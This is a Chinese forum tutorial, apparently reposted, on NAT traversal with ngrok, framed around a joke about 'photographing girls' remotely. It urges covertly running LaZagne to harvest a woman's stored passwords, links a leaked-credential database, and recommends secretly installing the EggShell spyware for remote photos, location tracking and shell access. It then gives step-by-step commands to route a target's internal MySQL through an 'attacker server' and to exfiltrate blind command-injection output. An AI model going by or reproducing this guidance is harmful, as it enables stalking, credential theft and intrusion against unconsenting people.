简单内网穿透教程(从给妹子拍照说起)
简单内网穿透教程(从给妹子拍照说起)第三种人是我们的向往,和技术相比,在妹子家睡一觉更重要。这虽然是个段子,但是从一个网络安全爱好者出发,你就不能只局限在以上这三种情况里,你要用技术的手段,保护妹子的安全。那么,我们可以做哪些事情呢?3. 你是一个技术不太好的人,你可能.........第二天早晨才离开,满脸通红,带着害羞。一般情况下,有三种可能:1. 你是一个计算机大牛,从进屋到修完电脑再到离开,全程五分钟,说拜拜,离开时留下一个潇洒的背影,还有妹子崇拜的目光。2. 你是一个能力普通的电脑爱好者,你可能会鼓捣一个多钟头,喝一杯水,妹子向你道一声辛苦,回去路上小心。
众所周知,学习网络安全时,我们会遇到各种各样技术和新鲜事物,我们要保持浓厚的兴趣,只有这样才能提升自己的技术(wěisuǒ)能力。
1. 场景
本来,只是想讲讲关于内网穿透的事情,但是又担心没啥吸引力,拉不到客人。所以思来想去,还是写点带福利的文章,顺便讲讲内网穿透,希望各位客官开心。
曾经,你是否经历这样的一个场景,一个温馨的夜晚,一个可爱懵懂的妹子找你求助,想让你到她家修电脑。
一般情况下,有三种可能:
1. 你是一个计算机大牛,从进屋到修完电脑再到离开,全程五分钟,说拜拜,离开时留下一个潇洒的背影,还有妹子崇拜的目光。
2. 你是一个能力普通的电脑爱好者,你可能会鼓捣一个多钟头,喝一杯水,妹子向你道一声辛苦,回去路上小心。
3. 你是一个技术不太好的人,你可能.........第二天早晨才离开,满脸通红,带着害羞。
第三种人是我们的向往,和技术相比,在妹子家睡一觉更重要。这虽然是个段子,但是从一个网络安全爱好者出发,你就不能只局限在以上这三种情况里,你要用技术的手段,保护妹子的安全。那么,我们可以做哪些事情呢?
2. 福利
我们可以使用The LaZagne Project工具,把妹子所有的网站、游戏账号密码下载下来,回去和社工库对比。也可以下载wifi密码,再和万能钥匙对比。然后告诉妹子哪些密码不安全,需要修改密码。
The LaZagne Project
LaZagne项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码。 每个软件使用不同的技术(明文,API,自定义算法,数据库等)存储其密码。 此工具的开发目的是找到这些最常用的软件的密码。
github地址:https://github.com/AlessandroZ/LaZagne
密码数据库共享
下载工具:resilio sync
地址:https://www.resilio.com
还有个地址,不知道对大家有没有帮助:
https://github.com/6donote4/debian-scripts/blob/2c563b646ade65eb53f93c083733464b4b8f5b03/guideKey/Keys/20161212 近几年网上泄露、流传出来的各种数据库,已收集有70G+.1.txt
当然,如果妹子的电脑是mac,我们也可以装个EggShell,一旦妹子电脑被别人偷了,我们可以随时触发EggShell远程操控、或者拍照。然后拿着照片告诉妹子,这人就是小偷。如果电脑没丢,请不要在深夜触发拍照功能。
Eggshell
EggShell是一个用Python编写的监视工具。它给我们提供了一个命令行会话,让我们可以直接和远程设备交互。EggShell为我们提供上传/下载文件,拍照,位置跟踪,shell命令执行,持久性,升级权限,密码检索等功能和便利。
github地址:https://github.com/neoneggplant/EggShell/blob/master/modules/helper.py
这个工具和metasploit的session原理类似,可以拍照:
这个工具,是有一次我闲逛github时候无意中发现的。经测试,这个工具的远程拍照功能比较隐秘且好用,我在测试中,发现部分mac机型版本会存在问题,无法找到hostname,并向作者提交了issues。去年2017年12月份的时候,作者更新了3.0版本,已修复相关问题。
我的mac电脑自从装了这个工具,每次有女生找我借电脑,我都很乐意。
3. 内网穿透
上面提到的远程给妹子拍照,可能大家要问,妹子在家、妹子在学校、妹子在咖啡厅,都是不同的ip地址,ip在不断变换。甚至只是藏在某个ip下的内网而已,且没有对外的端口暴露。我们怎么保证连接到妹子电脑,并实施远程操控?
再比如,有的时候我们个人宽带用户也想将自己的服务发布到公网IP上。比如说我们做了一个很漂亮的网站想发布到互联网上供大家参观,在没有公网IP的情况下该怎么实现呢?还有的时候我们在对企业做渗透测试的时候,发现企业某台公网服务器只对公网开放了常见的80端口,而我们提权时需要用到的3389等端口没有对公网开放,这个时候又该怎么办呢?
解决这些问题,就需要用到内网穿透技术。
通俗的解释,由于目标电脑ip和端口隐藏或者不稳定,攻击者服务器并不会主动去寻找目标。而是攻击者提供一台稳定的、公网对外暴露的服务器,然后目标电脑主动来连接攻击者服务器,然后进行实时通讯。
大概流程是这样的:
具体内网穿透实现原理,可以参考:
https://zhuanlan.zhihu.com/p/30351943
4. Ngrok
ngrok是非常流行的反向代理服务,可以进行内网穿透,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。
官网地址:https://ngrok.com/
在官方网站上面可以注册一个账号自己使用,不需要自己搭建也行,但是缺点就是速度慢,还有经常会连不上,所以我们可以通过自己搭建来解决这些问题。自己搭建的话,可以前往github下载server和client。
github地址:https://github.com/inconshreveable/ngrok
在github上一共有超过12k的点赞量,可见其受众程度还是很流行的。
具体安装,这里以centOS为例,攻击者接受服务器域名为hack.domain.com:
root [~] # yum install mercurial golang
root [~] # git clone [url]https://github.com/inconshreveable/ngrok[/url]
root [~] # cd ngrok
# 安装证书
root [~] # NGROK_DOMAIN="hack.domain.com"
root [~] # openssl genrsa -out base.key 2048
root [~] # openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem
root [~] # openssl genrsa -out server.key 2048
root [~] # openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
root [~] # openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt
root [~] # cp base.pem assets/client/tls/ngrokroot.crt
# 由于中国防火墙的问题,修改git源
root [~] # vim src/ngrok/log/logger.go
log "github.com/keepeye/log4go"
root [~] # make server
root [~] # make client
安装完成后,会在bin目录下对应两个可执行文件,分别是ngrokd对应server,ngrok对应client。
指定编译客户端环境变量,如何确认GOOS和GOARCH,可以通过go env来查看,对于mac、linux、windows等都有支持。
启动服务器:
root [~] # ./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="hack.domain.com" -httpAddr=":80" -httpsAddr=":443"
为了避免和本地的80、443web服务冲突,可以修改对应httpAddr和httpsAddr。另外,ngrokd还会监听4443端口,用来接受client的请求连接。
假设目标服务器在内网中,且有mysql 3306服务运行。这时,我们只需要将client程序ngrok上传到对应的目标服务器,然后生成一个文件ngrok.cfg,并执行ngrok程序即可:
root [~] # vim ngrok.cfg
server_addr: "hack.domain.com:4443"
trust_host_root_certs: false
root [~] # ./ngrok -config=./ngrok.cfg -subdomain=mysql 3306
上面这句指令的意思就是向ngrokd服务器,注册一个mysql前缀的域名监听。这时,我们将域名mysql.hack.domain.com指向我们的服务器,然后访问我们的服务器,就相当于访问了目标用户的内网mysql。
怎么样,很神奇吧!
5. 命令注入和可视化
对于什么是命令注入,可以参考我的另一篇帖子:
命令注入和一个分享
不过,在实际攻击中,其实更多的会遇到不带返回值的情况。这个时候,我们一般都是通过sleep来确认是否有漏洞,发现漏洞后,如何进行数据回显?
ngrok提供了请求的可视化和重放功能,一般国外黑客,都是通过ngrok来进行可视化操作的。
如图,这是我自己的ngrokd服务,可以看到path设置为ichunqiu:
当我们把数据内容改成命令注入的结果后,传递给server端,就能进行数据回显了:
具体案例,可以参考这篇外文:
https://medium.com/bugbountywriteup/command-injection-poc-72cc3743f10d
写在最后,本文里面没有过多讲述所列举的这些软件如何具体使用,我觉得写太多篇幅这方面的内容,有种凑数的感觉。大家如果有兴趣,可以自行去官网查看,或者私信一起学相关方面的知识。、
本文作者:夏之冰雪,转载自:https://bbs.ichunqiu.com/thread-35030-1-1.html